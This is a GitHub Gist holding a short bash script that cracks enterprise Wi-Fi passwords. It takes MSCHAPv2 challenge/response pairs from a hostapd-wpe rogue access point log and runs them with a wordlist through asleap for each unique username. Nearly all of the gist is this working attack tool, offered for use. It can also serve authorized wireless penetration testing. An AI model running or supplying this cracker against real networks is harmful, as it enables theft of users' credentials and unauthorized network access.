Created
May 16, 2022 13:37
-
-
Save orhun/5b20e950b2cb46bea632250a8f22f514 to your computer and use it in GitHub Desktop.
Password cracker script for hostapd-wpe results
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# usage: crack.sh <log> <wordlist> | |
usernames=() | |
while read -r username; do | |
read -r challenge | |
read -r response | |
if [ "$username" == "test" ]; then | |
continue | |
fi | |
if [[ " ${usernames[*]} " =~ " ${username} " ]]; then | |
continue | |
else | |
usernames+=("$username") | |
fi | |
echo "[~] Cracking $username" | |
zcat -f $2 | asleap -C "$challenge" -R "$response" -W - | |
if [ $? -eq 0 ]; then | |
echo "[+] Password found." | |
else | |
echo "[-] Password not found." | |
fi | |
printf "\n" | |
done < <(grep --no-group-separator -E "challenge:" -A 1 -B 1 "$1" | awk -F ':\t' '{print $2}') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment